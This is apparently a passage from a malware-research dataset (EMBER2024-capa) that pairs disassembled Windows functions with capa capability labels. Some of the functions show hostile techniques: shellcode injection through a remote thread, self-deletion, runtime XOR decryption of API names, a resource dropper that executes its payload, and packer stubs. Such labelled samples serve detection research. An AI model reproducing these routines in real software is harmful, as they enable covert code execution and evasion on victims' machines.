joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a1ed8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x4a1f9d
push dword fs:[eax]
mov dword fs:[eax], esp
test dl, dl
je 0x4a1f2a
push 0x4a1fb0
lea edx, [ebp - 0xc]
mov eax, dword [0x4a8e04]
mov eax, dword [eax]
call fcn.00464c74
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.00409084
push dword [ebp - 8]
push 0x4a1fbc
lea eax, [ebp - 4]
mov edx, 3
call fcn.0040494c
jmp 0x4a1f5e
push 0x4a1fb0
lea edx, [ebp - 0x14]
mov eax, dword [0x4a8e04]
mov eax, dword [eax]
call fcn.00464c74
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00409084
push dword [ebp - 0x10]
push 0x4a1fe0
lea eax, [ebp - 4]
mov edx, 3
call fcn.0040494c
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404a84
push eax
push 0x4a2000
push 0
mov eax, dword [0x4a8e04]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1fa4
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004045f8
ret
Function at 0xa52b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x49a000]
push edi
or ebp, 0xffffffff
jmp 0xa52b92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa52b99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa52b88
mov eax, 1
add ebx, ebx
jne 0xa52bab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa52bbc
jne 0xa52bdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa52bdb
dec eax
add ebx, ebx
jne 0xa52bc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa52ba0
add ebx, ebx
jne 0xa52bd7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa52c2d
xor ecx, ecx
sub eax, 3
jb 0xa52bf3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa52c62
sar eax, 1
mov ebp, eax
jmp 0xa52bfe
add ebx, ebx
jne 0xa52bfe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa52bcc
inc ecx
add ebx, ebx
jne 0xa52c0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa52bcc
add ebx, ebx
jne 0xa52c19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa52c0e
jne 0xa52c2a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa52c0e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa52c4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa52c3e
jmp 0xa52b8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa52c4c
add edi, ecx
jmp 0xa52b8e
pop esi
mov edi, esi
mov ecx, 0x12faf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa52c6a
cmp byte [edi], 0x9d
jne 0xa52c6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa52c6f
lea edi, [esi + 0x629000]
mov eax, dword [edi]
or eax, eax
je 0xa52cde
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x66dd54]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x66deb4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa52c9c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x66debc]
or eax, eax
je 0xa52cd8
mov dword [ebx], eax
add ebx, 4
jmp 0xa52cb9
call dword [esi + 0x66deb8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xa52d0f
cmp al, 0xef
ja 0xa52d02
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xa52ce4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xa52cf1
mov ebp, dword [esi + 0x66dec0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa52d43
sub esp, 0xffffff80
jmp 0x7846ec
Function at 0x401550
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x8c
mov eax, dword [0x4010c0]
xor eax, esp
mov dword [esp + 0x88], eax
push esi
push 0x80
lea eax, [esp + 0x10]
push 0
push eax
call fcn.004026c0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
push 0x20019
xor esi, esi
push esi
push 0x40111c
push 0x80000002
mov dword [esp + 0x1c], 0x7f
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015f1
mov ecx, dword [esp + 4]
push edi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
push esi
push esi
push 0x401148
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jne 0x4015e9
lea edx, [esp + 0x10]
push edx
push 0x401154
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4015e9
mov eax, dword [esp + 8]
push eax
call edi
mov esi, 1
mov ecx, dword [esp + 8]
push ecx
call edi
pop edi
mov ecx, dword [esp + 0x8c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040259e
add esp, 0x8c
ret

Function at 0x40163e
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x104
jae 0x40165e
xor cl, cl
test edx, edx
jbe 0x40165e
xor eax, eax
xor byte [eax + 0x403278], 0x15
inc cl
movzx eax, cl
cmp eax, edx
jb 0x40164e
mov eax, 0x403278
ret
Function at 0x401664
Capabilities:
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x4010c0]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
mov edi, 0x40116c
push edi
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, 0x403278
push ebx
mov ebp, eax
call edi
mov edx, ebp
call fcn.0040163e
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push 0x40117c
mov dword [esp + 0x1c], eax
call esi
push 0x40117c
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
push eax
call ebp
mov ebp, 0x401188
push ebp
mov dword [esp + 0x18], eax
call esi
push ebp
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push dword [esp + 0x1c]
call ebp
push 0x40119c
mov dword [0x40326c], eax
call esi
push 0x40119c
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
push eax
push dword [esp + 0x1c]
call ebp
push 0x4011b0
mov dword [0x403380], eax
call esi
push 0x4011b0
push ebx
mov esi, eax
call edi
mov edx, esi
call fcn.0040163e
push eax
push dword [esp + 0x18]
call ebp
mov dword [fcn.00403388], eax
mov esi, 0x104
lea eax, [esp + 0x124]
call fcn.00401609
lea eax, [esp + 0x20]
call fcn.00401609
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x4011c0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x128]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push 3
push esi
push 1
push 0x80000000
lea eax, [esp + 0x13c]
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x401827
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp ebp, 5
jbe 0x401827
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
lea ecx, [esp + 0x20]
push ecx
push ebp
push eax
push edi
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
push esi
push 2
push esi
push 1
push 0x40000000
lea eax, [esp + 0x38]
push eax
call ebx
push esi
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push ebp
push dword [esp + 0x20]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push edi
call ebx
push 1
push esi
push esi
lea eax, [esp + 0x2c]
push eax
push 0x4011cc
push esi
call dword [fcn.00403388]
mov ecx, dword [esp + 0x228]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040259e
add esp, 0x21c
ret
Function at 0x401842
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x218
mov eax, dword [0x4010c0]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
mov edi, 0x40116c
push edi
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, 0x403278
push ebx
mov ebp, eax
call edi
mov edx, ebp
call fcn.0040163e
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push 0x40117c
mov dword [esp + 0x18], eax
call esi
push 0x40117c
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
push eax
call ebp
mov ebp, 0x401188
push ebp
mov dword [esp + 0x1c], eax
call esi
push ebp
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push dword [esp + 0x18]
call ebp
push 0x40119c
mov dword [0x40326c], eax
call esi
push 0x40119c
push ebx
mov dword [esp + 0x18], eax
call edi
mov edx, dword [esp + 0x10]
call fcn.0040163e
push eax
push dword [esp + 0x18]
call ebp
push 0x4011b0
mov dword [0x403380], eax
call esi
push 0x4011b0
push ebx
mov esi, eax
call edi
mov edx, esi
call fcn.0040163e
push eax
push dword [esp + 0x1c]
call ebp
mov dword [fcn.00403388], eax
mov esi, 0x104
lea eax, [esp + 0x1c]
call fcn.00401609
lea eax, [esp + 0x120]
call fcn.00401609
push esi
lea eax, [esp + 0x20]
push eax
xor ebx, ebx
push ebx
call dword [0x403380]
test eax, eax
je 0x4019c5
push esi
lea eax, [esp + 0x20]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4019c5
push 0x4011d4
lea eax, [esp + 0x124]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x124]
push eax
call edi
push 0x4011dc
lea eax, [esp + 0x124]
push eax
call edi
push esi
lea eax, [esp + 0x20]
push eax
push 0x4011e4
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push ebx
push ebx
lea eax, [esp + 0x128]
push eax
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
call dword [fcn.00403388]
xor eax, eax
inc eax
jmp 0x4019c7
xor eax, eax
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040259e
add esp, 0x218
ret

Function at 0x4019e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx eax, word [esp + 0xc]
push eax
movzx eax, word [esp + 0xc]
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x4019fb
ret
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
ret
Function at 0x401a8c
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x4010c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x110]
call fcn.00401609
lea eax, [ebp - 0x218]
call fcn.00401609
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0x1234
push edi
mov ebx, 0x4444
push ebx
push eax
mov dword [ebp - 0x220], eax
call fcn.004019e0
add esp, 0xc
test eax, eax
je 0x401bbc
push edi
push 0x5555
push dword [ebp - 0x220]
call fcn.004019e0
add esp, 0xc
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp - 0x21c]
push esi
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [esi + 0x64]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push ebx
push dword [ebp - 0x220]
call fcn.004019e0
add esp, 0xc
xor ebx, ebx
mov edi, eax
xor ecx, ecx
mov al, byte [ecx + edi]
mov edx, dword [ebp + 8]
mov dl, byte [edx]
sub al, dl
xor al, dl
mov byte [ecx + edi], al
inc ecx
cmp ecx, esi
jbe 0x401b46
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
lea ecx, [ebp - 0x224]
push ecx
push esi
push edi
push eax
mov dword [ebp - 0x21c], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push 0x4011cc
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
inc eax
jmp 0x401bbe
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040259e
leave
ret
Function at 0x402420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Self delete
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x184
mov eax, dword [0x4010c0]
xor eax, esp
mov dword [esp + 0x17c], eax
push ebx
push ebp
push esi
push edi
push 0x40
lea eax, [esp + 0x30]
push 0
push eax
mov dword [esp + 0x34], 0x44
call fcn.004026c0
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push 0x4012b8
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4024ae
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x4024ae
push 0x40
push 0x3000
push 0x198
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
jne 0x4024b5
push edi
call esi
xor eax, eax
jmp 0x402585
push 0x4012c8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x4012d8
push esi
call ebx
push 0x4012ec
push esi
mov dword [esp + 0x78], eax
call ebx
push 0x4012f8
push esi
mov dword [esp + 0x7c], eax
call ebx
push 0x401304
push esi
mov dword [esp + 0x84], eax
call ebx
mov dword [esp + 0x78], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 0
push 0
lea ecx, [esp + 0x8c]
push ecx
push edi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [esp + 0x88]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x80
push 0x4023f0
push ebp
push edi
call ebx
push 0
push 0x118
lea eax, [esp + 0x78]
push eax
lea esi, [ebp + 0x80]
push esi
push edi
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0
push esi
push ebp
push 0
push 0
push edi
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x402580
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [esp + 0x18c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040259e
add esp, 0x184
ret

Function at 0x40259e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4010c0]
jne 0x4025a8
repz ret
jmp fcn.004025ad
Function at 0x40226a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ecx, 0x3f
mov ebp, esp
add esp, 0xfffffefc
xor eax, eax
push edi
mov byte [ebp - 0x104], 0
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x104]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x4021d6
sub eax, 0x401cf5
mov dword [ebp - 4], 0
mov dword [ebp - 4], eax
push 8
push 0x408008
push ecx
call fcn.00406350
lea eax, [ebp - 0x104]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
push 0x401cf5
push eax
call fcn.00406464
add esp, 0xc
lea ecx, [ebp - 0x104]
push 0x100
push 0
push ecx
call fcn.00406890
sub esp, 0xfffffff4
call fcn.00401d3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
sub esp, 0x14
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
sub eax, 0xffffffff
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
sub edx, 0xffffffff
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add edx, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
mov al, byte [ebp - 4]
add edx, dword [ebp - 0x10]
mov byte [edx], al
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
add eax, dword [ebp - 0x10]
mov dl, byte [ecx]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 4]
and eax, 0xff
mov dl, byte [ecx]
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret
Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret

Function at 0x401a22
Capabilities:
Hide graphical window

Disassembly:
mov ecx, 0xfffffffe
jmp fcn.0040161c
Function at 0x8e0f68
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e0f6e
pop ebp
sub ebp, 6
sub ebp, 0x4e0f68
jmp 0x8e0fcc
jmp 0x8e0fd5
mov eax, 0x4e0f68
add eax, ebp
add eax, 0x93
mov ecx, 0x63a
mov edx, 0x89f49951
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e0fec
jmp 0x8e0fff
cmp edx, dword [ecx]
cmp dword [ecx + 0x41], edx
push ecx
push ecx
cmp dword [ecx - 0x63], edx
jge 0x8e105c
shl byte [ecx + 0x467b3408], 1
shl byte [ecx + 0x467b3408], 1
bound edx, qword [ecx + 0x6dc4ae01]
add byte [0x9cda0151], dl
fcmovu st(0), st(0)
insd dword es:[edi], dx
push ecx
push ecx
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x51df618d
push ecx
push ecx
push ecx
mov eax, 0x51515179
add al, 0xda
mov ebp, 0x5159d4da
push ecx
push ecx
fcmovb st(0), st(4)
pop ebp
push ecx
push ecx
push ecx
fcmovu st(0), st(4)
inc ecx
push ecx
push ecx
push ecx
nop
mov eax, 0xd2536053
xchg ebx, eax
push ebp
sbb byte [esi - 0x2c], bl
movsd dword es:[edi], dword [esi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
or al, 0x93
pop ebp
push ecx
fcmovu st(0), st(5)
jne 0x8e10e5
push ecx
push ecx
push ecx
cmp dword [ecx + 0x39515865], edi
das
mov edx, dword [0x757d5051]
add byte [ecx + 0x51515154], bh
mov eax, 0x5151531a
add al, 0xda
mov ebp, 0xae5d24ae
and al, 0x59
mov ecx, 0x5151512f
invalid
pop esi
fstp dword [ecx]
push ecx
push ecx
push ecx
aaa
fimul dword [ebp + 0x68]
shr dword [edx + 0x4bd55eb9], 1
push ecx
push ecx
push ecx
shr dword [edx + 0x40d55eb8], 1
push ecx
push ecx
push ecx
aaa
shr byte [edx - 0x2aa18b52], 1
inc esp
push ecx
push ecx
push ecx
adc byte [eax - 0x51515163], bh
js 0x8e1131
push 0x5490d250
nop
push esp
sar byte [ecx - 0x511347ab], cl
scasb al, byte es:[edi]
scasb al, byte es:[edi]
js 0x8e1128
push 0x5790d253
sar byte [ebx + 0x54b9d255], cl
mov eax, 0xaeaeaefa
scasb al, byte es:[edi]
scasb al, byte es:[edi]
or al, 0x93
pop ebp
push ecx
add al, 0xda
mov ebp, 0xda040607
and al, 0x5d
fisubr dword [ecx + ebx*2]
lodsd eax, dword [esi]
jecxz 0x8e1117
fist dword [edi - 0x30]
xchg edi, eax
push eax
push ecx
push ecx
push ecx
fst dword [esi - 0x30]
xchg esi, eax
push eax
push ecx
push ecx
push ecx
ljmp 0x8353
Function at 0x405a09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426dac]
jne 0x405a13
repz ret
jmp fcn.00408ffc

Function at 0x40882c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402b62
and dword [ebp - 4], 0
cmp dword [0x42b65c], 0
mov ebx, eax
jne 0x4088dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40898e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40898e
push eax
call fcn.00402af0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42b65c], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42b660], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42b664], eax
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x42b66c], eax
test eax, eax
je 0x4088dd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x42b668], eax
mov eax, dword [0x42b668]
cmp eax, ebx
je 0x408935
cmp dword [0x42b66c], ebx
je 0x408935
push eax
call fcn.00402b6b
push dword [0x42b66c]
mov esi, eax
call fcn.00402b6b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408935
test edi, edi
je 0x408935
call esi
test eax, eax
je 0x40892c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40892c
test byte [ebp - 0xc], 1
jne 0x408935
or dword [ebp + 0x10], 0x200000
jmp 0x40896e
mov eax, dword [0x42b660]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40896e
mov eax, dword [0x42b664]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42b65c]
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40898e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408990
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret